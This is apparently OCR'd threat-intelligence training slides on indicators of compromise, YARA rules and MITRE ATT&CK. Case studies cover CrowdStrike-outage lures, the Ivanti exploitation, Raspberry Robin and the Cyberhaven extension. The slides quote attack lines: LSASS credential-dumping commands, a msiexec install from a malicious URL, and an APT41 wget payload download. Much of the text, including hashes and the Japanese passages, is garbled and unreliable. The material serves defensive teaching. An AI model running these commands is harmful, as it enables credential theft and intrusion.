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Malicious Inauthentic Falcon Crash Reporter Installer Delivers LLVM-Based Mythic C2 Agent Named Ciro

Malicious Inauthentic Falcon Crash Reporter Installer Distributed to German Entity via Spearphishing Website

Lumma Stealer Packed with Cypherlt Distributed Using Falcon Sensor Update Phishing Lure

Threat Actor Distributes Python-Based Information Stealer Using a Fake Falcon Sensor Update Lure

Threat Actor Uses Fake CrowdStrike Recovery Manual to Deliver Unidentified Stealer

Likely eCrime Actor Uses Filenames Capitalizing on July 19, 2024, Falcon Sensor Content Issues in Operation Targeting LATAM-Based
CrowdStrike Customers

— SOCRadartt(ckBLKR—b:

»

Suspicious Domains Exploiting the Recent CrowdStrike Outage!



https://www.crowdstrike.com/blog/malicious-inauthentic-falcon-crash-reporter-installer-ciro-malware/
https://www.crowdstrike.com/blog/malicious-inauthentic-falcon-crash-reporter-installer-spearphishing/
https://www.crowdstrike.com/blog/lumma-stealer-with-cypherit-phishing-lure/
https://www.crowdstrike.com/blog/threat-actor-distributes-python-based-information-stealer/
https://www.crowdstrike.com/blog/fake-recovery-manual-used-to-deliver-unidentified-stealer/
https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
https://socradar.io/suspicious-domains-exploiting-the-recent-crowdstrike-outage/

Indicators of Compromise (IOCs)

Crowdstrike-
hotfix.zip

sqlite3.dll
vclx120.bpl
instrucciones.txt
maddisAsm_.bpl
Setup.exe
datastate.dll
madexcept_.bpl

maidenhair.cfg
(HijackLoader
configuration)
rtl120.bpl
vcl120.bpl
battuta.flv
madBasic_.bpl
(HijackLoader

first-stage)

RemCos
Payload

RemCos C2
Address

c44506feBelede5al04008755abf5bh6ace51f1a84ad656a2dccc7f2c39c0eca?2

02f37a8e3d1790ac90c04bc50de73cd1a93e27caf833ale1211b9cc6294ecee5s
2bdf023c439010ce0a786ec75d943a80a8f01363712bbf69afc29d3e2b5306ed
4f450abaa4daf72d974a830b16f91deed77bat2412804dcad1abd42a7d8b6fd0
52019147196ca868fa4e747c3b99cbalb7aa57317bf8ebf9fcbf09aa576fe006
5a3e3838d77c2102766538f783d0a4b4205e7d2cdbade0ad2ab332dc8ab32fea
6010e2147a0f51a7bfa2f942a5a9eaad9a294f463f717963b486ed3f53d305c2
835f1141ece59c36b18e76927572d229136aeb12eff44cb4ba98d7808257¢c299

931308¢cfe733376e19d6cd2401e27f8b2945cec0b9c696aecbe7029ea76d45bf6

b1fcb0339b9Yef4860bbledie5bale148321be64696af64i3b1643d1311028¢cb3
b61321a48812dc922b26953020c9a60949ec429a921033cfaf1e9f7d088eeb628
be074196291ccfr4b3c4c8bd29292da99ec37a25dc8ai651bd0ba3f0d020349

d6d5if8e9dc6d2b195a6715280c2f1bad471048a7ce68d256040672b801fdalea

48a3398bbbf24ecd64c27cb2a31e69a6b60e9a69f33fe191bcf5fddbabd9el184

213.5.130[.]58[:]443

Table 1. Campaign IOCs

https://www.crowdstrike.com/blog/likely-ecrime-actor-capitalizing-on-falcon-sensor-issues/
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What Are Indicators of Compromise (loCs)?

Be vigilant for indicators of compromises (loCs) that may signal malicious activity. Here are
some of the suspicious domains that can be used by threat actors:

crowdstrike-helpdesk[.Jcom
crowdstrikebluescreen[.Jcom
crowdstrike-bsod[.Jcom
crowdstrikedown[.]site
crowdstrikeOday[.]Jcom
crowdstrikedoomsday[.Jcom
crowdstrikefix[.Jcom
crashstrike[.]Jcom
crowdstriketoken[.]Jcom
fix-crowdstrike-bsod[.Jcom
bsodsm8rLIxamzgjedu[.]Jcom
crowdstrikebsodfix[.]blob[.]core[.]Jwindows[.]net
crowdstrikecommuication[.]Japp
fix-crowdstrike-apocalypse[.]Jcom
crowdstrikeoutagel.]info
clownstrike[.]co[.Juk
whatiscrowdstrike[.]Jcom
clownstrike[.]co
microsoftcrowdstrike[.]Jcom
crowdfalcon-immed-update[.Jcom
crowdstuck[.]Jorg

failstrike[.Jcom

winsstrike[.lcom

crowdpass|.]

supportfalconcrowdstrikel[.Jcom



2-1: IOCERICKD T - #&=A - Mt
+ EDKSICIOCEZRISU. Fh5 - &5 - WIHICTERA LTS DH?

- OSINTE! : ABAEER (NS —Lh—b) AEEDINntelligence Communityh SHIST S

. ) ROALKR—b (HessH)
— {51) CVE-2025-0282
« Ivanti Connect Secure (IH: Pulse Connect Secure) (C&H\FBHEFE4.
I\ T 7 A—)\=JO—DeEHT. EEOIREENZEHIAE CAERDI— RZEITI DU DD,

Ex) JPCERT/CC
— https://www.jpcert.or.jp/at/2025/at250001.html

Ex) Google Cloud
— https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day?hl=en
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Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have
included indicators of compromise (IOCs) in a GTI Collection for registered users.

Code Family Filename Description

Credential Theft

DRYHOOK
Tool

PHASEJAM /tmp/s Web Shell dropper

PHASEJAM /home/webserver/htdocs/dana-

. ) Web Shell
Webshell na/jam/getComponent.cgi

PHASEJAM

/home/webserver/htdocs/dana-na/auth/restAuth.cgi Web Shell
Webshell

SPAWNSNAIL /root/home/lib/libsshd.so SSH backdoor

SPAWNMOLE /root/home/lib/libsocks5.so Tunneler

SPAWNANT /root/lib/libupgrade.so Installer

Log tampering

SPAWNSLOTH /tmp/ liblogblock.so e
utility

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day?hl=en



rule M_Credtheft_DRYHOOK_ 1 {
meta:
author = "Mandiant”
description = "Hunting rule looking for strings identified in
the DRYHOOK credential stealer”
md5 = "61bb586dc4e@47abo8lef6cac5684e48"
strings:

"/home/perl/DSAuth.pm"
"replace_content™
"replacel_content”
"replace2_content"”
"pkill cgi-server"”
"setPrompt ="
"runSignin = \\*DSAuthc::RealmSignin_runSignin"
"/bin/mount -o remount,rw / > /dev/null 2>&1"
{64 61 74 61 20 3d 20 72 65 2e 73 75 62 28 62 22
5¢c 2a 72 75 6e 53 69 6e 69 6e 45 42 53 4c 20 3d 2e 2a 3b 22 2c
62 61 73 65 36 34 2e 36 34 64 65 63 6f 64 65 28 72 65 70 6¢C 61
63 65 32 5f 63 6 6e 65 6e 74 2e 65 6e 63 6T 64 65 28 29 29 2e 64
65 63 6f 64 65 28 29 65 6e 63 6f 64 65 28 22 75 6e 69 63 6f 64 65
5f 65 73 63 61 70 65 29 2c 64 61 74 61 29}
condition:

8 of them and filesize < 20KB

https://cloud.google.com/blog/topics/threat-intelligence/ivanti-connect-secure-vpn-zero-day?hl=en
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2-1: IOCERICKD T - #&=A - Mt
« EDLSICIOCZES L. Fhs - #R%0 - WRKISER UL THW DD ?

- SIGINTE! : AEPOY - &5 - YLD I 7 - BEIRKRDIAL >V IR SET-—SZIE

- i) RILVDO T BRI :
— BRARTOZYvOZFRBURNS., YILDTTVDIADEVNZHET DEHEHmEITD
— IRB. VTORGERGHRESE. Appendix CESBODC &

o KB  DITURI 7AILEET - B 7> TJILET(CRIVD T 7 =2 FHT T 3FE
— 5) XEFFDE - Fuzzy Hash / Import HashZz &> f= 35 E A4

o BIEEEIR - WILD T P ZRE S NIEIRIR TIRIKERIT L. IRD5ELY - POED - S RXFALNDEER EZER
9DECKD, BIKRZDI DFE
— ) @EFRIPT KL A, ERBFF(CEMRSNDI I 7). EERFOEE)

« FBREEEAT - LD T OO — Rea LT NIRRT D750A
— P WEFE - SU ATV (CHBIFDREHLKRFE
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Z dc030778938b8b698236a709d0d18734¢325acci44b12a55ecc2d56b8bbS000

@ 64 security vendors and 2 sandboxes flagged this file as malicious

64

dc030778938h8b6fA8236a709d0d18734c325acci44b12a55ecc2d56b8bb9000

Infected_file_malware_sample

9 pedil

Community Score

spreader

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 21+

Q o B P son

(™ Reanalyze = Similar ~

Size
68.00 KB

Last Analysis Date
10 days ago

Join the VT Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Display grouped sandbox reports

&5 caaE

B Y Lastine

Activity Summary

& IDS Rules

NOT FOUND

A 2 Detections M Mitre Signatures

1STEALER 1 MALWARE 28 INFO

Dynamic Analysis Sandbox Detections @
The sandbox C2AE flags this file as: STEALER
The sandbox Lastline flags this file as: MALWARE
MITRE ATT&CK Tactics and Techniques

-+ Execution TA0002

+ Privilege Escalation 740004
-+ Defense Evasion TA0005
-+ Credential Access TA0006

-+ Discovery TA0007

Network Communication

DNS Resolutions
-+ ™ lefithenhispar.ru

-+ ™ reninparwil.com

-+ O reptertinrom.ru

https://www.virustotal.com/qui/file/dc

0778938b8b6f98236a709d0d18734

Download Artifacts ~ Full Reports « Help ~

=l Sigma Rules < Dropped Files ' Network comms

NOT FOUND NOT FOUND 3DNS

Open in MITRE ATT&CK Navigator ~

325accf44b12a55ecc2d56b8bb9000/
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EDLKSICIOCZHBU. Fbh - &5 - WIHISTFRALTVLS DD ?

SIGINTE! : AZBOY - &5 - YLD T - BEHRKD I AL >SSV IR ST—I=ZEE

H) IAL>DYO /OO0 :
— RERCERSNIZER (77— 7008 ZFEL. REZREI DEREHET D,
— ) LR NUDBEERITARA > MBS ThZNILD T 7D (X
— HKEY_LOCAL_MACHINE¥Software¥Microsoft¥Windows¥CurrentVersion¥Run

— ) SEBICFAETND T 71IL/I(X
%SystemRoot%¥Temp¥<LokiBit 3.0>.exe
C:¥desktopcentral¥psp.ps1

- ) =RERCERSND—K T 7))L (MD5 - SHAL - SHA256)
4b8e83f4f6257fc1b9fad85030c4f195313bf3b1f41d279bbc728abc6bb9309a

- f) A RSA>
windows_x32_encrypt.exe -u [] -da [DOMAIN]¥[user]:[password]
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- SIGINTE! : AEPOY - &5 - YLD I 7 - BEIRKRDIAL >V IR SET-—SZIE

- ff) Case Study: Raspberry Robin
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Infected USB
drive attached

Raspberry Robin is
typically introduced
by infected removable
drives such as USB
devices

dunl

cmd.exe and Malicious DLL
msiexec.exe download

cmd.exe reads and

executes a malicious file

stored on the infected

device, then launches If the external msiexec.exe

misexec.exe connection is successful, it
downloads and installs a

msiexec.exe attempts malicious DLL

to download and install

a package from a

malicious URL

=48] : Raspberry Robin

rundll32.exe
and Windows
utility misuse

rundll32.exe launches
a legitimate Windows
utility like odbcconf.exe
to execute the malicious

Ongoing command
& control activity

regsvr32.exe, rundll32.exe,
and dllhost.exe repeatedly
attempt outbound network
connections, typically to
TOR nodes

—

TYPICAL RASPBERRY ROBIN INTRUSION CHAIN

https://redcanary.com/blog/raspberry-robin/
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dunl

SIBIRETHIAL 2

={51 : Raspberry Robin

ggl-i-
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SIGINTE! : AZBOY - &5 - YLD T - BEHRKD I AL >SSV IR ST—I=ZEE

- ffl) Case Study: Raspberry Robin - ECICEBHUTIOCZ{EDDH ?
- RERETHBLET,
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= O sophoslabs / loCs

@ Issues 2

<> Code 11 Pull requests

[ Code

£ master - + Q

Q Gotofile t
LJ 1TOJ-F>-FA.CSV -
Troj-Polazert_|OCs.csv
Troj-Qakbot.csv
Troj-Ransom-GXS.csv
Troj-gootloader.csv
Troj-gootloader.yara
Troj_Agent-BJJB.csv
Troj_GuLoader.csv
Trojan-Glupteba
Trojan-LDMiner.csv
Worm-Raspberry-Robin.csv
Worm-WannaCry
atk-backstab-d.csv
bitcoin-addys

double-dragon-breath-iocs.csv

[ e e | ) i R I P I ) I B O P R e P

email account compromise 365 2...

() Actions

B Projects

Q_ Type [/] to search >

@ security |22 Insights

loCs / Worm-Raspberry-Robin.csv (&

0 dalab-sophos Add files via upload

‘ Preview

Q. Search this file

10

11

12

‘ Code

Indicator_type
Description
domain_port
url_path
command_line
command_line
command_line
command_line
command_line
command_line
command_line

command_line

Blame 12 lines (12 loc) - 1.61 KB

Data

1OCs related to recent Raspberry Robin infections

5qY.ro:8080

hxxp://5¢Y.ro:8080/y/cB36RUCKfQKp7SE/00lvooA/p8a/{redacted}

C\Windows\System32\rundll32.exe" SHELL32 ShellExec_RunDLL regsvr32.exe -s "C:\ProgramData\Wwhm\vsinzf.log
RUNDLL32.EXE C:\ProgramData\EdgeProt\StgrtedRest\AM5Tedoos_x86.dll FXJooft_hhmme

RUNDLL32.EXE C:\ProgramData\FilterBoard\NomorPrtfession\sdiabeft_Vibm02.dll Rgstfo_Web_Ryutclt
CA\Windows\system32\rundlI32.EXE C:\ProgramData\GenericMicro\UriloFeatkres\mxiDaas_Pkrces.dl,ROUTnteh__1_0
CA\Windows\SysWOW64\RUNDLL32.EXE C:\ProgramData\WrapAlarm\EngerprispSxory\tdawty_CredeDEAS.dll,Devce_AdmTxplEditxf_Resohrgeh
RUNDLL32.EXE C:\ProgramData\Componentsimport\GutlookGate\ades_pbouril.dll,wmsksoft_PoCZ5
CA\Windows\SysWOW64\RUNDLL32.EXE C:\ProgramData\GuardShade\UtilitdRIset\dpset_CXVR32.dIl CFBBRw_wisdoker

msiEXEC UwAAbX=shmf WRdYMn=aFRmAyQL /q iUde=0DJhzS YDLyOBy=LteB YJbgE=HpiaCV /i"hxxP://5qY[.]JR0:8080/y/cB36RUCKfQKp7SE/0clvooA/p8a/{redacted}” kFTIeNctT=InnOjRO

Note

Compromised QNAP server used for C2

URL path used for installation

Example command to load DLL without odbccong, instes
Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Observed Raspberry Robin DLL commandline

Example of Raspberry Robin installation command



https://github.com/sophoslabs/IoCs/blob/master/Worm-Raspberry-Robin.csv
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(1) VirusTotalZ{#L\, IPJ)” RL XDReputation|EizzHUS,

IP7 RLUAD [BE] THDZLaER (*¥1)
ENDEHREEIS (*2)

IOC: IP7 KL R > ] virusTotal

(2) LevelBlue (I8 : AlienVault OTX) ¥°urlscan.ioz{EL), IP(CEEhEY DEHRZEE.

HAIPECRCE U THIATDNILI T 7D\ afEE FAA 2 ZHES,
ZNICKD, IOCTORZRDIEMNILN D IZ.

LevelBlue

T2MENHD. BU. VirusTotal L CEHDEENMMRIN T D EHETEHER. IOCEER T DBHN XD, FMERUZERULS I TOERNEEZ LD, 44
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IOCOEARAGE :

- (FB) K. AROWEMMITONTTIHZE(CIEA. Deny List - RIAMANZXLNETZRT Do
—  (RF) IRME - BEOKRT. BOOMBHAREROKREBZRZ (T COWRWNC 2R D,
- (%) REBZZITTCLWEHZE, IOCZREDRERE U TR B,

EARwv kb (Pivoting) :
— —DODBERMNSEET B FHRZT DIRAT CLE, BEEIDBHRICDRATF LS &
— 51)

« IP77RLRAZIOCELUTIREL T, AFBERTOTZRA (%TEMP%a.exe) M@EEL TS EHYIEA,

« SHEEXET7AILD/I\w S B, ERESZ]. EITRZINS S S(CRIDBEERREZFRL TN,
o HTETEIFERISFRIZIRIOCE U CREAMAIEE,
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2-1: IOCERICKD TR - A - XIS
« EDLSICIOCZES L. Fhs - #R%0 - WRKISER UL THW DD ?

STEP 3 : ;&R - Bicfh

- IREULERHBZELEIC. Fh5 - R - WEADERZITS.

« I0CZE79I Ty NI BEMEKEITFIE :
- CSV - TFAM - BEATUSICRTISY FIA—LRETEMT D

—  (YARA - Snort - SIGMA/RE) HET A —Yw ha{EDC. SIEM - FIERAY —)LARFO> W D ([THEAHAD,
« “Sigma is for log files, what Snort is for network traffic and YARA is for files.”

— YW— )LICHHMAHAD

46



2-1:

IOCERICKD TP - A « XTIt

EDXSICIOCZESU. Fh5 - #RH - WRISFERALTHO DOH?

STEP 3 : i#@H - Bifh

RELVERHZE LIS, Fhh - &5 - WEADERZITS.

f5l) YARA

VirusTotal®Victor AlvarezEK(C K> CRHFE=NEILD )7
AT - RV —)L. YARAJL—ILICHED TNILD T 77755 -
DI D ECKD. BT)LEN. 122572 RLUAR R,
1T V—)LOERICAVD C &BlEE,

RAKPRECEHR T DMENHDEDELT

e JL—I)L%&
« strings: A1) —>
- condition: HEODY OZRODOY D

F UV TEEFREFERUET,

rule silent_banker : banker

{
meta:
description = "This is just an example"
threat_level = 3
in_the_wild = true
strings:
$a = {6A 40 68 00 30 00 00 6A 14 8D 91}
$b = {8D 4D B0 2B C1 83 C0O 27 99 6A 4E 59 F7 F9}
$c = "UVODFRYSIHLNWPEJXQZAKCBGMT"
condition:
($a or $b) and $c
b
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- IREULERHBZELEIC. Fh5 - R - WEADERZITS.

« —XARXS5F+) Cyberhaventt®dChromeliiRigseh—EpiE TN

— https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it

- IEFEK
— YD END S .
£ (LChrome Web Store Developer SupportZzBR> 2T« v = >/ X —)L%ZCyberhaventt D EE (HEZILE

BEEEDRRE) (X, MEBREA—ILDU>DOZITUW D UTE&ICGoogleiRZilR—T (BB L. BEHDIY—R
IN—F 4 7 TFU45—=3> ("Privacy Policy Extension”) ZEREIREILTCULED T,

— HEARHEREODENES -
- WEHI BEHDIT—RIN—Fa07TU5—23>%BU TRERMEREZ AF,
« Chrome Web Store(CARIE/RChrometisRikiex 77w JO— R (ARIE/XChromelisRIERE (F. 1TEARDILRIEREZ R — X
(. ANIERO— R&EB) .

« Chrome Web StoreDtZF 1T EFETOTREZERT. CORERILGREEENNRAR SN,
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STEP 3 : i#@H - Bifh

- IREULERHBZELEIC. Fh5 - R - WEADERZITS.

« —XARXS5F+) Cyberhaventt®dChromeliiRigseh—EpiE TN

— https://www.cyberhaven.com/blog/cyberhavens-chrome-extension-security-incident-and-what-were-doing-about-it

- BEDHDII— KD :
— 2D TI7AILTEREINTLD,
— —DIFIEMDworkerjs T 7 A )LZRZE L. c&CH—/N(TEHE L TEKIEIRZO—HDILA M —2 (D> 00— R,

— BS5—DI(F. FirellEIENzcontent.js I 7 1IL T, FEDITIHA bOI—TFT—FZIWNEUT=&IC. worker.jsZ
BUTCTAFURBKIBHRICSENDIT A MITUTXET D,

SEmk :
— https://tadmaddad.github.io/2024-12-29-chrome-extension-investigation/
— https://secureannex.com/blog/cyberhaven-extension-compromise/
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https://tadmaddad.github.io/2024-12-29-chrome-extension-investigation/
https://secureannex.com/blog/cyberhaven-extension-compromise/

Secure Annex(c KXB3YARA

rule Cyberhaven_Extension_Pattern {
meta:

description = "Detects suspicious messages seen in the Cyberhaven attack”
severity = "high"

strings:
$rtextl = "-rtext" nocase wide ascii
$rtext2 = " rtext" nocase wide ascii
$rjsonl = "-rjson" nocase wide ascii
$rjson2 = "_rjson" nocase wide ascii
$errorsl = "-check-errors" nocase wide ascii
$errors2 = " _check-errors" nocase wide ascii
condition:

(any of ($rtext*)) and
(any of ($rjson*)) and
(any of ($errors*))
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STEP 3 : i#@H - Bifh

- IREULERHBZELEIC. Fh5 - R - WEADERZITS.

+ fl) Y—ILICHFHAD : EmoCheck — W —JL& UTHAFATNTNSEH
— JPCERT/CCHYER L T=Emotet BRI Z MR T 2 Y —IL (JISACDEE + V—R0— REFO T EEHER)

101 std::vector<EmotetLoader> EmotetScannerv4() { Emotet&(d? ~~JLD T 7EmotetDREGEHLA (CRAT DI ET MR~

102 DBG("====== Scan V4 ====="); https://www.jpcert.or.jp/at/2022/at220006.html

1e3

104 std::vector<EmotetLoader> suspicious; EmoCheck Scanner V4D -

165 rundli32.exe TUTDIEMRFRIRCENIT DIV RSA>Z1&HIT D

106 wchar_t path[MAX_PATH]; https://github.com/IPCERTCC/EmoCheck/blob/master/emocheck/modules/scan v4.cpp
107 std::vector<std: :string> susp_files;

o8 e, rundII32REAT, IV REFRFTIIMNCOVTEUTOREESROT &,

163 std::string filename; https://www.cybereason.co.jp/blog/security/8909/

1o https://attack.mitre.org/techniques/T1218/011/

111 std::vector<const char *> susp_patts;

112 susp_patts.push_back("~.*rundll32\\.exe.*, .*RunDLL.*$"); ‘

113 susp_patts.push_back("".*rundl132\\.exe.*,.*ShowDialogA.*$"); ﬁif}ﬁ/ﬁs:;csﬁpccégfgr}Lf/n;rci:tﬁit\/\eljz%nz’]g/cphdef(/:?SAC2022 5 tani-kino-sajo jp.pdf
114 susp_patts.push_back("~.*rundl132\\.exe.*,.*[A-Za-2]{4,15}.%$"); . https://www.youtube.com/watch?v=_ XX8N5VbW2w
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— FNEEMEZIFT AN LETHRIDINENSGSD.

« AFTFAMDEE :
— WMERIOFTFAMZIEUSIEBRURWE., SR> IEERAAEICIRD>TUED.
« ) TawS 0o MIFIHENTWBIPZ RLAZFWDIESE U X ME U TEIRT B,
» TR RBIE (F-80) —» #RdD
» AT RBIE (BhoR) - BREL

I0C

52



SBIRET

=AU 2

al



7=
+ YARAZ
B 1 I0COH

/IH}



R DIED T
.+ RIBRETHBLEY,

o Fz. #WELUTCEMURZ [YARADELE] (CDULTIE. Appendix E(CHBE L TLVET,

55



~RiRiRE~
55 0 3 E : Operational Intelligence

56



-0 : (FUBIC

Operational Intelligence&(d? ?
- WHR:Fa1UFTa7—FF70 K~ EIFEE - SOCHIBQTDA>FTUZT X
- RE
- WEEDOTOT 7L (Intent) . WEFE (TTPs - Capability) R EWEEZIBAEL. 5SHI~DEA
N+ U+ E&%bﬁﬁﬁ@“%ﬂ’ U212 X

c BEUEBR>FT U T>R (BN - WEFE) =HEE(C. Defensive ArchitecturedDigEEZ175,

SHDFT— :

3-1:TTPs
WEFEZ DI DEAREH CHDTTPs « MITRE ATTRCKICDWTEUFET,

— 3-2: Defensive Architecture
- Operational IntelligenceZFA 9 DRAINIEZE X 5T DDefensive Architecture([CDWTFEUFET,

— 3-3: Threat Research
s BRI —TMMTOIKEFEZDITD [BESFTUA]l DIFFELCDWNWTEVET,

— 3-4: Threat Hunting with Threat Intelligence
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Home > Techniques > Enterprise > 0S Credential Dumping > LSASS Memory

OS Credential Dumping: LSASS Memory

Other sub-techniques of OS Credential Dumping (8) v ID: T1003.001

Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of Sub-technique of: T1003

Tactic: Credential Access

©

credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material.

)

@ Platforms: Windows

As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. i . . .
Contributors: Ed Williams, Trustwave, SpiderLabs; Edward Millington

For example, on the target host use procdump: Version: 1.2

Created: 11 February 2020

Last Modified: 03 April 2023

¢ procdump -ma lsass.exe lsass_dump

Locally, mimikatz can be run using:
Version Permalink
¢ sekurlsa::Minidump lsassdump.dmp

* sekurlsa::logonPasswords
Built-in Windows tools such as comsves.dll can also be used:
¢ rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump PID lsass.dmp full el

Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows,
such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: EKLM\SYSTEM\CurrentControlset\Control\Lsa\Security Packages and
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\0SConfig\Security Packages.An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the

AddSecurityPackage Windows API function is called.P!
The following SSPs can be used to access credentials:

+ Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.
» Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.¥!
« Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.

+ CredSSP: Provides SSO and Network Level Authentication for Remate Desktop Services.!




3-1:TTPs

« MITRE ATT&CKDD L —AD—5
— MITRE ATTRCKZ A< F+—TJ— RIREL 8iE EH D,
— (4) Groups (VI —2) KEIIL—TDTOT7AIL & FIFBT BTechniqueZzE EHTULB,

Home > Groups > APT41

APTA4T

APT41 is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since

at least 2012, APT41 has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries. APT41 overlaps at least partially with 1D:G00%6

public reporting on groups including BARIUM and Winnti Group.[1112] @ Associated Groups: Wicked Panda
Contributors: Kyaw Pyiyt Htet, @KyawPyiytHtet
Version: 3.1
Created: 23 September 2019

Last Modified: 23 March 2023

Version Permalink

Associated Group Descriptions

Name Description

Wicked Panda 1]
Campaigns

D Name First Seen Last Seen References  Technigues

C0017  C0017  May2021¥  February 20224 14 Access Token Manipulation, Application Layer Protocol: Web Protocols, Archive Collected Data: Archive via Custom Method, Command and Scripting Interpreter: JavaScript,
Command and Scripting Interpreter: Windows Command Shell, Data from Local System, Data Obfuscation: Protocol Impersonation, Data Staged: Local Data Staging,
Deobfuscate/Decode Files or Information, Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol, Exfiltration Over C2 Channel, Exfiltration Over Web
Service, Exploit Public-Facing Application, Exploitation for Privilege Escalation, Hijack Execution Flow, Ingress Tool Transfer, Masquerading: Match Legitimate Name or Location,
Masquerading: Masquerade Task or Service, Obfuscated Files or Information: Software Packing, Obfuscated Files or Information, Obtain Capabilities: Tool, OS Credential Dumping:
Security Account Manager, Proxy, Scheduled Task/Job: Scheduled Task, Server Software Component: Web Shell, System Information Discovery, System Network Configuration
Discovery, System Owner/User Discovery, Web Service: Dead Drop Resolver, Web Service

Techniques Used

Domain ID Name Use

Enterprise  T1134 Access Token Manipulation During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local NT AUTHORITY\svsT=M privilege escalation.[!
Enterprise  T1098 Account Manipulation APTA41 has added user accounts to the User and Admin groups.[’!

Enterprise  T1071 = .001 = Application Layer Protocol: Web Protocols APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits.!)

During C0017, APT41 ran wget http://102.224.80[.]44:8080/kernel to download malicious pay\oads.l“l
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- (5)

Home > Campaigns > SolarWinds Compromise

SolarWinds Compromise

The SolarWinds Compromise was a sophisticated supply chain cyber operation conducted by APT29 that was discovered in mid-December 2020.
APT29 used customized malware to inject malicious code into the SolarWinds Orion software build process that was later distributed through a
normal software update; they also used password spraying, token theft, APl abuse, spear phishing, and other supply chain attacks to compromise
user accounts and leverage their associated access. Victims of this campaign included government, consulting, technology, telecom, and other
organizations in North America, Europe, Asia, and the Middle East. Industry reporting initially referred to the actors involved in this campaign as
UNC2452, NOBELIUM, StellarParticle, Dark Halo, and Solarstorm.[ZIEIHISIEI7IE]

In April 2021, the US and UK governments attributed the SolarWinds Compromise to Russia's Foreign Intelligence Service (SVR); public statements
included citations to APT29, Cozy Bear, and The Dukes.?l1911 The US government assessed that of the approximately 18,000 affected public and

private sector customers of Solar Winds’ Orion product, a much smaller number were compromised by follow-on APT29 activity on their systems.['%

Groups
D Name Description
G0016 APT29 911l

Technigues Used

Domain ID Name Use

Enterprise  T1087 Account Discovery During the SolarWinds Compromise, APT29 obtained a list of users and their roles from an Exchange server using cat-

]

ManagementRoleAssignment .[4

.002 Domain Account During the SolarWinds Compromise, APT29 used PowerShell to discover domain accounts by exectuing cet-abuser and Get-ADGroupMember .
[51[14]
Enterprise  T1098 .001 Account Manipulation: Additional Cloud During the SolarWinds Compromise, APT29 added credentials to OAuth Applications and Service Principals.19/%)
Credentials

ID: C0024

First Seen: August 2019 ¢!
Last Seen: January 2021 1%
Version: 1.0

Created: 24 March 2023
Last Modified: 14 April 2023

Version Permalink

ATT&CK® Navigator Layers ~
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Home > Software > Mimikatz

Mimikatz

Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing

the security of networks. 112 ID: S0002
@ Type:TOOL
@ Platforms: Windows

Contributors: Vincent Le Toux
Version: 1.7

Created: 31 May 2017

Last Modified: 07 March 2023

Version Permalink

Techniques Used

Domain D Name Use

Enterprise  T1134 .005 Access Token Manipulation: SID-History =~ Mimikatz's MIsc::AddsSid module can appended any SID or user/group account to a user's SID-History. Mimikatz also utilizes SID-History Injection to expand the scope of other
Injection components such as generated Kerberos Golden Tickets and DCSync beyond a single domain.

Enterprise  T1098 Account Manipulation The Mimikatz credential dumper has been extended to include Skeleton Key domain controller authentication bypass functionality. The LszbpumME: : cChangeNTIM and
LSADUME: : SetNTIM modules can also manipulate the password hash of an account without knowing the clear text value. 17114l

Enterprise  T1547 .005 Boot or Logon Autostart Execution: The Mimikatz credential dumper contains an implementation of an SSP!"]
Security Support Provider

Enterprise  T1555 Credentials from Password Stores Mimikatz performs credential dumping to obtain account and passwaord information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from the credential vault and DPAP| [1IEIIEI7IIE]

.003 Credentials from Web Browsers Mimikatz performs credential dumping to obtain account and passwaord information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from DPAP). SNl

.004 Windows Credential Manager Mimikatz contains functionality to acquire credentials from the Windows Credential Manager.”!

Enterprise  T1003 .001 OS Credential Dumping: LSASS Memory Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains
functionality to acquire information about credentials in many ways, including from the LSASS Memory. 11216171
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Domain

Enterprise

Enterprise

Enterprise

Enterprise

D

T1547

T1601

T1599

T1003

.008

.001

.002

.001

Home > Mitigations > Credential Access Protection

Credential Access Protection

Use capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.

Techniques Addressed by Mitigation

Name

Boot or Logon Autostart

Execution: LSASS Driver

Modify System Image

Patch System Image

Downgrade System Image

Network Boundary Bridging

Network Address Translation

Traversal

0S Credential Dumping

ID: M1043

Version: 1.1

Created: 11 June 2019

Last Modified: 21 October 2022

Version Permalink

Use

On Windows 10 and Server 2016, enable Windows Defender Credential Guard (') to run Isass.exe in an isolated virtualized environment without any device drivers. !

